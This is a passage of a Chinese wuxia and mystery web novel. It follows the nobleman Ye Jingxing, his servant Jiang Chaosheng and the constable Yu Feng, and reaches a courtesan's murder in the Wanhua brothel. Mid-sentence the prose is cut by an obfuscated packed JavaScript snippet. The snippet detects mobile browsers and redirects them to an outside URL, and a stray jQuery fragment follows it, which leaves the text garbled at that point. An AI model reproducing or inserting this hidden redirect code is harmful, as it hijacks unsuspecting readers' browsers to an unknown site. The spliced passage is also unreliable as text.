他脸色苍白,仿佛受了伤,不时发出闷咳,唇边溢出血丝,但依然跪得毫不含糊。 陶陶也已经在廊下熟练地支起小茶炉开始煎药,白雾缭绕,药香弥漫之间,时不时还瞥一眼高远。 江潮生擦着擦着,快靠近高远的时候压低声音:“高护卫,麻烦让让。” 高远投以凶狠的一瞥。 “都是为公子效力的,你那是什么眼神。”江潮生嘀咕道。 锦缎门帘突然掀开,香堇板着脸出来,对高远说:“公子命你滚进去。” 江潮生幸灾乐祸的笑容还没绽放,香堇又朝向他,同样板着脸说:“公子说了,你每次擦地都是长寿提水,好个拈轻怕重的奴才!今日不许他帮忙,你一个人提水来擦。” “啊?”江潮生张着嘴,一脸呆滞,香堇嫌弃地往台阶上一站:“我就在这里看着你,不许偷懒!” 高远默不作声站起来,忍住胸口的窒痛,垂手进了屋。 这里的屋子远比从前鸿宾楼的客房要大,他走得小心翼翼,绕过正喷吐着杜衡香的熏笼,一步步走进内室,规规矩矩地在地毯一角跪好。 叶景行斜倚在榻上,手下不停,在信笺上挥笔如飞,撇下最后一笔,将浓墨淋漓的信笺直接甩到高远面前:“拿了这封信,回京去罢。” 高远苦笑,俯身磕头:“公子,你这是叫属下去死。” “你既知会死,就不该瞒着我做事!”叶景行冷冷地看着他,“不是我及时赶到,你连范维俊畏罪自杀的上吊现场都做好了,怎么,这么忠心耿耿地给叶玟杰扫除后患?你但凡想博个从龙之功,也不该选叶玟杰那个蠢货!” 高远犹豫再三,低声说:“这是王爷的意思。” “所以我叫你滚回去见义父啊。”叶景行讥诮地说,“你这样的护卫我用不起。” 高远急了,猛地抬起头看着他,重复了一句:“这是王爷的意思!” “义父会下令让你保住叶玟杰?”叶景行怒不可遏,“义父是孤臣,从来只忠于圣上,一向不参与结党营私之事,更不会淌皇子夺嫡的浑水!你打着义父的名头在我面前胡言乱语,我留不得你这条命!” 他坐着,手中只拿了一杆饱蘸浓墨的普通湖笔,但杀意迎面而来,高远胸口一闷,犹如揣了满腔的火炭,昨夜那凶狠的一脚犹在眼前,他深深地跪伏下去,颤声说:“属下不敢揣测上意,只知道奉命行事,请公子明察!” 他小心翼翼地侧过脸,偷偷打量叶景行的脸色,又小声说:“也许王爷别有思量。” 叶景行放下笔,高远周身一松,心里却不敢有丝毫侥幸,深知此关难过,背着叶景行私自行事,没有被当场格杀已经是幸事了。 “我自会写信问过义父,若他真的别有安排,你就不必跟着我了。”叶景行冷冷地说,“滚出去,这几日待在行宫,哪里也不许去,叫香堇进来。” 香堇垂手走进,看着叶景行又摊开另一张纸,忙上前伺候,却被他制止,淡淡地说:“去,查一下府衙那个女捕头。” 五月已经入了夏,午后的阳光炽热,新坟被日头一晒,失去了水分,从黝黑很快就变成了土黄。 喻枫依旧是一身利落蓝衣,皂靴踩在义庄附近的山坡上,远远地遥望着那座还飘着招魂幡,洒满白纸钱的小小坟头,极其寒酸,连个墓碑也不曾有。 江潮生站在她身后,于心不忍地问:“要不要过去磕个头?我替你望风。” 喻枫俏脸苍白,眼神却坚定决绝:“隔墙有耳,何况这城郊野地,你这条小泥鳅长了几只眼,望得过来?” 江潮生摸了摸鼻子,身份一下从‘大侠义士’变成‘小泥鳅’,他还有点不大适应哩。 两人远远地站着,若是有外人看见,也只以为是喻捕头带人办案,和一里地之外那座新坟没有任何关系。 在新坟上祭拜的老人撒下最后一把纸钱,弯腰拜了拜,转身步履蹒跚地向二人走来,却正是福禄钱庄的掌柜。 他疲惫地走到喻枫跟前,拱手道:“喻捕头,多谢你给我这个机会,让我来送老友最后一程。” 喻枫颔首,客气地说:“也要多谢掌柜的给我消息。” 掌柜的似乎还想说点什么,却又忍住了,叹息着从怀中掏出一张票据递过去:“这是在下践诺向善堂捐献的银子收据,请收好。” 喻枫瞥了一眼,眼睛微微睁大:“不是说好了……” 掌柜抬手示意:“捐出八万五千两,一文不差,我虽是做钱庄生意的,却还没到丧良心的地步,连老友遗孤的钱都要收。” “咱们说好了,你给我提供线索,并不是白给的。” 掌柜又想叹气了:“那群人勾结起来,对灾民做出缺德冒烟的坏事,我若是闭口不言,那还算是个人吗?并非看在钱的份上,喻捕头也未免太小看我了。” 他摇摇头,兴味索然地转身离去,走了两步,终究还是忍不住,回头说:“我不相信喻员外是那样的人,他一定是被冤枉的。” 掌柜的走了,喻枫迎着午后热辣的风,闭上了双眼。 冤枉又怎样?一切都结束了,尘埃落定,父亲的尸体孤零零地躺在郊外野地里,连名字都不敢留下,府衙的案卷上白纸黑字地写着他的罪证,落笔如山。 甚至江洲城的老百姓也都唾弃他、谩骂他,他可是公道堂处决的人呢,怎么会冤枉? 她身为捕头,竟然无法给亲生父亲洗刷冤屈。 喻枫此生第一次产生了灰心丧气的念头,更何况,最近草草结案的粮食案,愈发给她的心蒙上了阴影。 “江潮生,你说,这世界上真有公道吗?”她低声问。 “有啊,当然有!”江潮生毫不犹豫地回答,“公道堂……不是现在这个,是从前那个,唐无双唐大侠创立的公道堂,那就是维护世间公理正义的存在!” 喻枫无奈地冷笑:“你是在街头听茶馆先生说书听多了吧,跟野史一样,越说越神。” 她也就是随口一说,没想到江潮生少有地正经起来:“我从记事就是乞丐,十岁之前在江洲城里讨生活,十岁之后就一步步地走遍大江南北,每一个流传着公道堂故事的地方我都去过,那都是真的!十五年前,的确有这样一群人,努力维持着江湖的平衡,做黑夜中的鉴裁者,让恶人得到应有的惩罚,让弱者得到喘息的机会。” 喻枫意外地看着他,灿烂阳光之下,江潮生那张惫懒的脸生动鲜活起来,眼睛里闪烁着少有的神采,完全没了平时油嘴滑舌的模样,变得……帅多了。 “这么仰慕啊?可惜。”喻枫为了掩盖自己这种奇怪的感觉,故意开玩笑地说,“你年纪小,没赶上好时候,不然也能挤进公道堂里,成为你心心念念的惩恶扬善一员。” 江潮生低下头,再抬起来的时候已经恢复嬉皮笑脸:“哎呀,江湖太险恶了,不适合我,出大名做大事的机会让给英雄大侠们,我就负责在后面拍巴掌喊好。” 对了,这才是她认识的江潮生嘛。 喻枫无奈地摇摇头,抬脚往山下走:“走吧,回城,谢谢你今天过来陪我,等会你去哪儿?” “哎嘿嘿嘿。”一提到这个,江潮生眉飞色舞,发出略带猥琐的笑声,“等会我可要去个好地方……万花楼的阿水姑娘等着我哩。” “江潮生!你现在出息了,有点钱就去那种不三不四的地方!” “别别别,别打啊,喻头儿,我是去送面条的!” 江潮生还真没说谎,他从张家面摊取了食盒,一路小跑,满面春风地进了万花楼,熟门熟路地找到阿水的房间,一推门,吆喝道:“张家汤面一碗!送到!” 待他看清屋内情形,尴尬起来,阿水照例坐在桌边,另一侧却坐着个十四五岁的姑娘,穿着粉红衣裙,貌美如花,姿态娇软,让人一看就心生怜惜。 “是……秀秀姑娘啊。”江潮生干笑,秀秀是去年选中的花魁,如今正是花儿绽放,最好的年华,想见她一面的客人如过江之鲫在下面排大队,她怎么会在阿水的房间里。 阿水一眼看穿他的心思,掩嘴笑道:“小江哥,怎么,你觉得我这屋子不配秀秀姑娘来坐坐?” “没有没有。”江潮生涨红了脸,举着食盒进屋,“早知道,我自掏腰包多送一碗面,请秀秀姑娘吃。” “她每天山珍海味还吃不过来,稀罕张发财这碗素面。”阿水故作嫌弃地说,看着江潮生打开食盒,取出面碗,挑了一筷子,偏头问秀秀:“吃不吃?” 说完她自己先笑起来:“你怕胖,肯定不要。” “阿姐说的什么话,正要向阿姐讨一点来吃。”秀秀把杯中的茶往外一泼,拿来挑了两筷子面,捧在手里甜甜一笑,“小时候学掌上舞,教习嬷嬷从来不让吃饱,每每夜里饿得直哭,都是阿姐好心,分半碗面给我充饥。” 秀秀带些南方口音,娇憨地说出来,让人心旌摇荡。 江潮生一副被迷得灵魂出窍的的嘴脸,似要偷看秀秀,又被容光所摄,不敢直视的模样,嗫嚅着说:“秀秀姑娘……一点都不胖。” 秀秀抿嘴而笑,,阿水挑着面往嘴里送,调侃道:“你倒是比张发财眼光高,一来就看上了我们秀秀,怎么?要不要学你那兄弟,攒一年的钱就为了一度春宵?” “不不不!”江潮生憋得脸都红了,连连摇手,“秀秀姑娘……那是天上的人儿,如今陪着殿下的,我连想都不敢想!” 秀秀顿时蹙起眉头,一脸烦恼地娇嗔:“快别提了,殿下每日只知道喝酒,一日里没几个清醒的时辰,我实在吃勿消才跑出来在阿姐这里避避。” 阿水看着她鼓起腮帮子的模样,伸手过去掐了一把:“还有你这朵解语花安慰不了的人哪?我以为他是倒在你的温柔乡里舍不得走呢。” “对啊!”秀秀也满是不解,“不是说粮食的案子结了,和殿下一点关系都没有,都是手下人做得不好吗?怎么殿下还不出去主持大局啊?” 叶景行也很想知道,叶玟杰跟个缩头乌龟一样躲在万花楼里到底想干什么。 小王太监又跑来他面前跪着哭诉了。 “去跟你主子说,现在外面风平浪静,灾民都开始返乡了,没人追着他要债,可以速速收拾东西回京城面圣了。”他说得很不客气,“在万花楼多待一天,京里的圣上也许就知道他在江洲干的什么好事!” “好我的公子哩!”小王太监哭丧着脸,“殿下每日借酒浇愁,哪里肯见奴婢,就是见了,奴婢说的话,他也听不进去啊!” 叶景行黑瞋瞋的双眸冷冷地看向他:“怎么,他还要人去接才肯出来?” “不敢不敢!”小王太监跪在地上砰砰磕头,大着胆子说,“殿下酒醉不醒,这江洲城里,唯一能替他做主的也就只有公子您了。” 其他人,哪怕是纪知府,伸手拨拉叶玟杰一下,都得摊上个妄动皇子的罪名。 叶景行深邃的目光看着小太监磕得额头青紫一片,才淡淡地说:“行了,滚吧。” 小王太监几乎以为自己磕死在这里也难动摇叶景行的尊驾的时候,突然听到玉旨纶音,喜出望外,又砰砰多磕了几个:“您老人家公侯万代……啊,不不不,您老人家富贵吉祥。” 他暗骂自己不会说话,众所周知,勤郡王叶晟不婚不嗣,膝下只有这么个义子,宠爱非常,视如己出,他又在圣上面前得脸,将来只怕有一份大好前程等着叶景行,公侯之流简直是看低了。 等到小太监退出之后,叶景行才拿起覆在掌下的一张信纸,皱着眉又看了一遍:“义父真的要保叶玟杰?为什么?” 他想不出那个锦绣堆里养出来的废物,到底有何用处。 既然要去青楼,香堇和陶陶就不方便了,所以叶景行带上了江潮生。 江潮生本来还怕长寿会跟他抢这个机会,没想到长寿连连摇手,一张黑瘦小脸憋得通红:“我娘说过,不许我去那种地方,那里的女人会想尽办法掏空人的钱!” “你还怪听话的,那你这几个月攒的月钱也没见你捎回去孝敬老人家啊。” 长寿的脸黯淡下来:“我娘早饿死啦,所以她说过的话,每一句话我都记得牢牢的,再没人叮嘱我了。” 大宁朝最近十年,天灾人祸,民不聊生,生离死别已是寻常,香堇听得心生恻然,伸手摸了摸长寿的头顶:“你是好孩子,不像某人……放心吧,你娘在天上看着你呢。” 说完瞪了江潮生一眼。 江潮生正欲分辩,叶景行已经踏出了房门,他一身素锦长衫,衣袂飘飘,淡淡地瞥了他们一眼:“走了。” “哎!来了!”江潮生麻利地把手里的抹布一丢,小跑着趋前跟随,还一个劲地讨好:“公子慢些,入了夏,日头大,行宫里连棵树都没有,小心暑气哩!香堇姐姐,快去拿把罗伞来,我替公子撑着……” 香堇简直叹为观止他拍马屁的样子。 一直到出了行宫大门,在马车前辕坐定,江潮生才安静下来,他坐在高头大马之后,左顾右盼,神气得不得了。 可惜乐极生悲,叶景行的声音从车厢内传来:“进来伺候。” 江潮生慢吞吞地挪进车厢,远远地缩在角落里:“公子,有什么吩咐?” 叶景行修长白皙的手指在车厢地板上敲了几下,不耐烦地说:“茶,香,点心。” 接下来,江潮生就小陀螺一样地在车厢内忙碌,第一次见识到富贵人家的马车有诸多花样,侧壁翻下来是雕花小案,中间的地板掀起来是暗格,小茶壶用绸缎夹棉的包袱裹着,茶水倒出来依然滚烫清香,配上四样干果四样点心,还有巴掌大的小香炉,燃着清冽好闻的祥云片。 他手忙脚乱,额上汗都渗出来了,叶景行却慢条斯理地打开折扇,端庄文雅地轻轻挥动:“蠢材,买来两个月了,连伺候主子都不会,带回京城去也只会给我丢脸。” “啊?公子要回京?”江潮生眼睛都亮了,傻乎乎地笑着说,“我还没去过京城呢,一定比江洲城大很多吧!公子可千万要带上我,我也想去见见世面呢。” 叶景行唇边噙着一抹冷峭的讥笑,黑眸直直地看入他眼中:“你真想跟我去京城?” “当然啊!” “如果我说,我既不希望你去京城,也不希望你留在江州呢?” 江潮生恰到好处地露出一个疑惑的憨笑:“那我能去哪儿?” “天涯海角,随你心意,我发还你的卖身契,再给你一笔银子,你离开江州,如何?” 叶景行紧紧盯着江潮生的脸,后者回以温和的微笑,却拒绝得斩钉截铁:“不好吧,江州是我熟悉的地方,很多熟人朋友都在这里,我不想离开。” “那你刚才听说要去京城,那么兴奋?” “因为有公子在啊,我是要跟着公子的。”江潮生翻出了一块白麻的抹布,熟练地擦起雕花小案来。 叶景行注视着他的右臂,行动灵活,毫无异样。 “我听说,你和香堇第一次见面,是在大街上英雄救美?”不等江潮生回答,叶景行突然倾身过来,和江潮生四目相对,近到呼吸相闻的地步。 他紧盯着江潮生的双眸,低声问:“如果今天我们也遇到了杀手拦路,你……能照样护着我逃生吗?” 江潮生紧张地咽了口唾沫:“我不是英雄,我是狗熊,皮糙肉厚,只有挨打的份儿,公子你放心!真要有杀手,我一定抱着他的大腿阻拦他行动,你就趁这个机会快跑!” 说完,他看叶景行依旧凑在面前不动,眼睛专注地打量着自己,心慌了,也小声问:“真的有杀手啊?” 叶景行注视着他,把他的细微表情全数收入眼底,摇摇头,自嘲地一笑,往后倚靠在厚垫上说了句莫名其妙的话:“算了,你这种滑头,总是有办法的。” 万花楼最美的时候是晚上,入了夜,红灯笼一串串地垂下来,小窗内烛光摇曳,大堂里灯火通明,起起伏伏的亭台楼阁和江面上的彩船画舟交相辉映,让天上的星月都为之黯然失色。 但正午时分,阳光洒在半透明的蚌壳窗上,反射出璀璨细碎的光芒,绸缎彩锦随风飘下栏杆,在风中舞荡,也是柔媚万千,让经过的人忍不住驻足张望,心驰神往。 叶景行下了车,却没有停留,举步向楼内走去。 小王太监早在门口等了半天了,立刻推开看门的龟奴,哈着腰趋前奉承:“劳烦公子走这一遭,殿下若知道公子肯来,不知道多么欢喜。”、 “他不知道我要来?”叶景行诧异地问。 小王太监苦着脸,小声说:“昨日喝醉了,睡到现在还没醒呢。” 为了补救,他赶紧说:“醒酒汤熬好了,碧水香也备得了,只等公子一声令下。” 叶景行的目光放在了他们经过的路上,万花楼据说是从一栋楼加盖而来,发展到如今江边相连相倚的建筑群,后面还有码头,可供客人游船玩乐,楼中更是曲径通幽,处处惊喜,也许客人无意间推开一扇门,就有一位巧笑倩兮的美人儿迎上前来。 幸亏此时姑娘们大多在休息,他们经过的地方门户紧闭,一扇扇都关得紧,偶尔能听到从里面传出的莺声燕语,隐隐约约,勾人心弦,仔细去听,却又没有了,只有那一股无处不在的甜香萦绕在身边,沾衣盈袖。 叶玟杰住的地方属于贵客下榻所在,推开门,他正倒在象牙席子上,穿着单衣,抱着个竹夫人睡得极不安稳,嘴里嘟嘟囔囔的。 一进门,就闻到了满满的酒气,叶景行不悦地竖起了眉毛,折扇一指:“拿盆凉水来,泼醒他!” 江潮生二话不说,挽起袖子就去端一边的水盂。 小王太监吓得手里的醒酒汤都拿不稳了,苦苦哀求:“公子,您和殿下以后在京里还要见面哩!” 动静大了点,叶玟杰被惊醒了,他这几日本来就噩梦缠身,靠着醉卧美人乡勉强入眠,听到叶景行的声音,想到自己面临的一系列麻烦事,心虚和怒火同时涌上心头,翻身骂骂咧咧:“叶景行!你是来看我笑话的吧!?是啊!你多好啊,我搞砸的事,你接过去办好了,现在纪知府一定正写折子给你请功呢,你得意了吧!?” 叶景行面无表情,眉毛都没动一下:“我什么都没做。” 他冷笑着站在门口,不欲往里再迈一步:“我只是住进了行宫坐镇,纪知府自有他一套章程,赈灾事宜办得极其利落,现在灾民已经陆续返乡,你看,只要你坐在那里当一尊泥胎木偶的菩萨,不动不说不乱惹事,这功劳本来可以是你的。” 叶玟杰双眼通红地看着他,又是愤怒,又是恐惧,突然酒气冲天地闹起来:“那我怎么办!?我活该吗?我是嫌流民给我惹麻烦,但我没想害人啊!” 他突然冲上来要拉扯叶景行:“景行,好兄弟,咱们都姓叶,是一家人啊!那案子不是已经查清楚了吗?都是老范小刘小顾他们沆瀣一气,瞒着我干的,我是受蒙蔽的,我也是受害者,要杀该杀他们啊!” 江潮生不动声色地伸出一只脚,叶玟杰心神大恸之下没有注意到,正好绊倒,哎呦一声趴在了地上。 好像在给叶景行磕头一样。 叶景行嫌恶地向后退了一步,连鞋尖都不愿意碰到叶玟杰,转身吩咐:“给他梳洗更衣,找个空房间我等着。” 跟在后面探头探脑的龟奴急忙迎上来,要引导他离开,江潮生跟在后面,叶景行却站住了,似笑非笑地瞥他一眼:“不必跟着,去瞧瞧你的老相好罢。” 大约知道叶景行身份不同,他被恭敬地请到一间精室之内,陈设布置甚至比刚才叶玟杰所在的阁子还要繁华富贵,而且样样都符合曾经在金满堂,香堇挑剔吩咐过的要求。 脚下的波斯毛毯厚软如云彩,踩上去一点声音都没有,角落里两盆白色香花,幽幽吐露着芬馥的香气,一挂闪着柔和辉光的珍珠帘把内室与外厅隔开,看不真切,却更添几分诱人深入的魅力。 叶景行并不惊讶,仿佛是早有预料,站在门口环顾了一圈,才缓步上前,坐在了椅上,冷淡地说:“我无需人伺候,你可以出去了。” 香风拂动,内室里传出清脆的娇笑,一只纤纤素手轻轻掀开帘子,浑圆光润的珍珠和她白嫩的手指比起来也黯然失色,少了三分凝脂白玉般的软媚温香。 “叶公子。”她敛袖盈盈拜倒,“妾乃百花深处主人,妾名婀娜。” 江潮生眼看叶景行一走,叶玟杰又发了疯,打滚撒泼地不肯喝醒酒汤,小王太监已经把求助的目光转向自己了,迅速转身,脚底抹油。 他也不敢乱走,就站在走廊上趴在窗口望呆,心里思索着今天在马车上叶景行对自己说的话是什么意思。 他提到回京,那就是要离开江州?在别的地方,有人还需要‘公道堂’罢。 那自己是必须跟着他的,打又打不过,只能慢慢地寻找机会,找出后面控制叶景行的那个人,再慢慢地跟他说。 但是要去京城啊?江潮生发愁地摸着下巴,京城的丐帮他不太熟。 “咦!?小江哥!”楼下突然传来喊声,他回过神来,惊讶地看见张发财提着食盒,笑容满面地冲他招手,胖脸上是都要溢出来的喜悦。江潮生恨不得跳下去捂着他的嘴,只好扒着窗棂,探出身子低声制止:“你喊那么大声干嘛,好光彩的吗?” 张发财喜滋滋地举起手里的食盒:“我来给阿水姑娘送小馄饨啊!” 那语气那表情,简直比光宗耀祖还要神气。 噔噔噔地踩着楼梯上来,张发财的嘴就没停过:“我就怕阿水姑娘吃面吃腻了,陆大厨不是病了嘛,现在还没好呢,我亲自跑到他家里央求他做的……” 江潮生顺嘴问了一句:“他看着还好?” “见面没有拿锅铲打我,也没骂我,倒是手把手教我调馅来着。”张发财略有些惆怅,“他说病好了也不在鼎香楼干了,要回老家,唉,我做的绉纱馄饨始终差他一点,以后阿水不爱吃可怎么办。” 张发财絮絮叨叨地说着,带路的龟奴瞪了好几次眼,终于忍不住开口:“一个跑腿的这么多话?!惊扰了客人和姑娘,你们担待得起吗?” 江潮生斜着眼刚要开口,张发财已经点头哈腰捂住了嘴,还拉了他一下。 果然,这家伙一遇到阿水姑娘的事就变成软骨头了。 等七拐八拐地到了阿水的房间,门推开,里面却没人在,张发财忧愁地咂咂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598501|171954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴:“馄饨放久了就不好吃了,这位大哥……” 龟奴本来就没好气,这下眉毛都立起来了:“东西放下,你滚了就行。” “哎哎,大哥,大哥!”张发财死皮赖脸地抓着门框不肯松手,“也许阿水姑娘一会儿就回来了,我再等等。” “呸!穷鬼花不起钱点姑娘,耍这种花招想白嫖?”龟奴开始挽袖子,“还不快滚!?” 推搡之间,张发财护着怀里的食盒,差点被他粗鲁地推倒,歪斜的身体突然被扶住,抬头一看,是江潮生挡在了身后,心平气和地说:“你先走,我负责把馄饨带给阿水姑娘。” 龟奴眼睛一鼓,还想发火,江潮生却转向他,声音里带了小人得志的猖狂:“咱可是跟着叶公子来的,你敢赶我走?” 江潮生不知道,此时他拿着当大旗扯的叶景行,正遇到平生仅见的难题。 名叫婀娜的美女看不出年纪,浅笑嫣然,美貌犹在其次,举手投足间那一股妩媚风情更是动人心魄,只是从红唇里吐出来的话语却让他微微蹙起了眉头。 “江湖中传说,明月诀若练到五层以上,一身冰肌玉骨,犹如月光清辉,今日一见公子,果然是天上仙人一样的模样。” 叶景行没吭声,婀娜却轻叹了口气:“只是我也听说,明月诀自第四层起,除了满月之夜的反噬,还会使得浑身肌肤娇弱异常,哪怕最温煦的春风吹来,最轻薄的丝绸覆过,都如寸寸刀割,昼夜困扰,难以求一夕安眠。” 她说着,美目又怜惜地看向叶景行。 叶景行安然稳坐,对她一口叫破自己修炼武学的缺陷竟毫无所动,只是淡淡地说:“人生皆苦,胜于割肤之痛的,多矣。” “那公子是不是好奇,我怎么会知道?”婀娜转了话题,自得地笑了,“江湖中事,只要出得起价钱,没有万花楼不知道的消息。” 她站起来,款步走到叶景行身侧,轻声道:“公子,妾不忍见公子受苦,是诚心要为公子解难。” 她伸出一只手,试探地要往叶景行肩上搭去:“若公子不弃,妾从此就是公子的人,这万花楼上下也都能为公子所用……可好?” “不好。”叶景行身形未动,婀娜却惊讶地发现自己的手就在那一寸之地,再也不能向前。 叶景行抬起眼,黑眸中的清冷合着周身散发出的寒气,都让婀娜颤抖起来,她看向叶景行的眼神中带着恐惧:“你……练到了第七层?你是怎么忍得住痛苦的?你……你简直不是人!” 叶景行淡淡地说:“你说万花楼什么消息都有,那我问一句,十五年前,出卖公道堂唐无双的人是谁?” 他冷冷地看向婀娜:“至于价钱,就换你苟活吧。” 婀娜咬着樱桃般红润的下唇,哀怨地看着他:“说也是死,不说也是死,公子竟如此狠心,不给妾留一条活路么?” 她看着叶景行站了起来,毫无商量余地的样子,明眸一转,收起了楚楚可怜的神色,狡黠地笑了:“公子莫急,妾还有一桩生意要和公子谈。” “不必。”叶景行已经向外迈出了一步。 婀娜举起手,葱白的手指向上指了指:“今日万花楼里有一桩人命案,但若公子是自己人的话,也可以没有。” 叶景行连眼神都懒得瞥一下:“谁的命,你的?” “公子说笑了,不过,公子不妨猜一猜,三殿下这么久还没出来,他在干嘛?” 此言刚一出,就听到走廊上有人失态地叫了起来:“啊!杀人啦!出人命啦!” 江潮生自小在街头打混,多少血腥惨状都见过,但他冲进房间的时候,目眦欲裂,手中的食盒都拿不住,砰然落地。 张发财辛苦带来的绉纱馄饨被泼了出来,狼藉地洒在地上。 张发财心爱的姑娘倒在血泊之中,大睁着双眼。 “阿水!阿水姐姐!”一个小丫鬟哭得肝肠寸断,就要扑过去,被江潮生一把拎住了衣领,深吸了口气,往外一推,暴躁地喊:“去府衙报案!” 负责刑案的段捕头很快就到了,阴沉着脸检查现场,室内除了死了的阿水之外,还有昏迷的秀秀,和栽倒在角落里醉得人事不省的叶玟杰。 小王太监说:“殿下不肯醒酒洗漱,说要去跟秀秀姑娘告别,说几句私密话,不让我们跟着。” 小丫鬟说:“午后阿水姐姐来找秀秀姑娘,两人正在聊天,三殿下来了,醉醺醺地嗔着我,让我滚出去,我担心二位姑娘,过一会儿端着茶过去,门关着,我低头一瞧,血……血从门缝里面流出来……” 龟奴说:“听见小丫鬟喊人,我们过来踹开了门,里面就是这样。” 叶玟杰被灌了三碗醒酒汤才清醒过来,他一听说就跳脚大叫:“不是我!我没杀人!我怎么会杀人?一定是谁又想冤枉我!” 凶器是桌上削水果的一把银柄小刀,还沾着血迹,丢在地上,房间里并无第四人痕迹。 段捕头来来回回查了一遍,最后一口断定:“我看是自杀!” 江潮生差点控制不住自己的情绪要冲上去殴打官差,肩上突然落了一只手,回头一看,叶景行面无表情地站在身后,修长手指似乎并未用力,但却已经按得他无法动弹。 叶景行的目光并没落在他身上,而是望着人群之外的远处,婀娜站在对面花楼的窗口,正对这边盈盈而笑。 那一副胜券在握的样子。 “既是自杀,与他人无干。”他主动地招呼叶玟杰,“殿下,请回行宫。” 叶玟杰哆嗦着,却像抓住了救命稻草一样赶紧走到他身后,连连点头:“好,好!” 没等两人走出房门,围在外面的姑娘们就忍不住凄厉地哭喊了起来:“不可能!阿水姐姐怎么会自杀!段捕头,你好好查查啊!不能放过凶手!” 段捕头不耐烦地推开拦路的人:“平日对客人哭诉说过得水深火热,动不动拿条裤腰带上吊,此时怎么又说过得是好日子,舍不得死了?滚滚滚!不要妨差办公!” “太不像话了!官官相护!分明是殿下□□不允,强杀了阿水!段捕头,你畏惧皇权,想遮盖过去?” 段捕头大怒,挥动刀鞘向面前的人群重重抽取:“谁敢胡言乱语!?我看你们是该下大狱醒醒脑子了!” 他下手很重,前面的几个小娘子被打的痛呼出声,龟奴不敢还手,有些留宿的客人却怜香惜玉之心发作,横眉立目寄上来:“好啊!官差打人?你再一下试试!?” 眼看捕快和客人们推搡起来,叶玟杰躲在叶景行身后,发着抖催促:“快走啊!走啊!你的护卫呢?快保着我出去,重重有赏。” “闭嘴!”叶景行冷淡地呵斥他,目光落在房内,乍看起来,确实是阿水和秀秀正在聊天,但是……桌上为什么放着一把酒壶和两个酒杯? 两个青楼的姑娘,午后说点悄悄话,用得着借酒浇愁? 他目光一凝,回头问叶玟杰:“你刚才是带着酒过来的?” “我带什么酒!我喝了十几天了!”叶玟杰暴躁地否认,“就是那个龟奴明里暗里问我,要不要替我把秀秀留起来,或者送到京城,我哪里肯,想着过来跟她说一声。” 这时候场面已经失控,越来越多的人挤上前来,段捕头节节后退,气得声嘶力竭地高喊:“竟敢围殴官差,你们是想造反吗!?” 更多人推搡着,要往这边涌来,叶景行再不犹豫,单手一推,把江潮生推向了窗口。 万花楼的窗户都是雕花大窗,姑娘们倚窗而笑也是临街一景,江潮生本就憋屈到满腔怒火,没提防这一下,稀里糊涂就觉得自己在窗口撞了一下,然后飞了起来,他下意识地在落地时故意没站稳,哎呦一声坐了个屁股墩儿。 叶景行转身看向叶玟杰,把他看得心惊肉跳:“好堂弟……你要干什么?我……” 下一瞬间,他也平地飞了出去,重重地摔在江潮生脚前。 叶景行的脸从窗口探出来,冷淡地吩咐:“带他上马车。” 江潮生沉默地向上看,和叶景行俯视的眼神正好对上,两人的眸子里都有太多情绪,一时无法分辨。 叶玟杰却忍不住了,再也不想留在是非之地,他甚至主动自己爬了起来:“还不快走,带路啊!” 江潮生抿紧了嘴,低头走在了前面,叶玟杰一瘸一拐地跟在后面。 一看凶手被扔出去了,群情激奋的人群有些傻眼,段捕头也好容易挣扎出来,脸红脖子粗地高喊:“好!你们要喊冤是吧?来人呐!把尸体搭回府衙去,验尸!” 对于段捕头做出自杀的判定,喻枫完全不能接受,她瞪着眼睛不客气地质问:“段捕头!你是十几年的老刑名了,怎么能如此草率?那阿水姑娘死状惨烈,胸口被锐器所伤,还往下拉使得伤口扩大,非穷凶极恶不能为,怎么可能是自杀?!” 说起来,上次毒粥第一次害死人,也是段捕头轻率做的结案。 对于她的指责,段捕头低头剔着指甲,不咸不淡地说:“老刑名也得吃饭啊,你觉得我不对,你自己查咯。” 喻枫这口气被憋住了,她能打能拼,缉拿盗匪从来冲在前面,但真落到刑案上,段捕头家学渊源,经验丰富,远在她之上。 “好了,仵作怎么说?”相捕头沉声问。 老仵作从内室走出,脚步沉重,抬眼看了一下三位捕头,低声说:“死者周身没有其他伤处和可疑痕迹,单论胸口这一刀……若说是自杀也不无可能,请恕我难以下笔论定。” “什么!?”喻枫拍案而起,难以置信地看着他,“你有没有好好查验!?” 老仵作满面羞惭,拱了拱手:“我老眼昏花,如今是勉力支撑。正要请纪大人早作打算,另请高明啊。” 看着相不凡和喻枫的脸色有变,段捕头却阴阳怪气地补了一句:“若拿不定主意,还是选自杀结案罢,对大家都好。” 喻枫刚要说话,被相捕头制止了,他目光沉郁,点了点头。 既是自杀,尸体发还原主下葬,消息一出,没等万花楼的人来领尸,张发财已经拉着棺材到了。 漆黑锃亮的大棺材,二人打幡,四人抬棺,四人吹奏,张发财一个人孤零零地走在最前面,胖脸一夜之间消瘦了下去,眼睛黑沉沉的,一句话都不说,只是沉默地向天一把把撒着纸钱。 唢呐吹出尖利的腔调,满天白色纸钱纷纷而下,落在棺材上、街面上,仿佛在这炎热的五月天气,江洲城下了一场悲凉的大雪。 负责白事的大了开始喊了两声:“阿水姑娘,回家了。”被张发财恶狠狠地制止:“这什么破地方!还用回来?阿水是当仙女享福了,她再也不会回来!” 棺材行至半路,江潮生不知什么时候跟了上来,他沉默地陪在张发财身边,试图拿过他手里的纸钱来撒,被一扭身躲过了。 张发财再无从前的憨厚笑意,目光狠厉,吓了江潮生一跳。 “那个……我给阿水姐姐做了个风车。”江潮生从怀中摸出一个纯木头没上颜色的小风车,“在我家乡有个传说,死去的人若有冤屈,随着风车转动,就能消散执念,早些入轮回。” 他看张发财没反对,把风车插在了棺材上方的白布结里,风一吹,呼呼地转动了起来。 “原来,你也知道她死得冤屈啊?”张发财沙哑着嗓子问,“可我怎么听说,那天是你护着杀了她的王八羔子走出万花楼的呢?!江潮生!你去当奴才就活成一条狗了吗!?你忘了当初我们的交情?” 